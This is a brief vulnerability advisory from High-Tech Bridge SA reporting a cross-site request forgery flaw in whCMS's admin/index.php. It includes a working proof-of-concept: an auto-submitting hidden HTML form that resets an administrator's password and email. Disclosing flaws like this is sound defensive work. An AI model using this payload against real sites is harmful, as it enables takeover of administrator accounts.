Cross-site Request Forgery (CSRF) in whCMS

High-Tech Bridge SA Security Research Lab has discovered vulnerability in whCMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in whCMS
The vulnerability exists due to insufficient validation of the request origin in admin/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="module" value="100">
<input type="hidden" name="newpass1" value="newpass">
<input type="hidden" name="newpass2" value="newpass">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="usertype_id" value="2">
</form>
<script>
document.main.submit();
</script>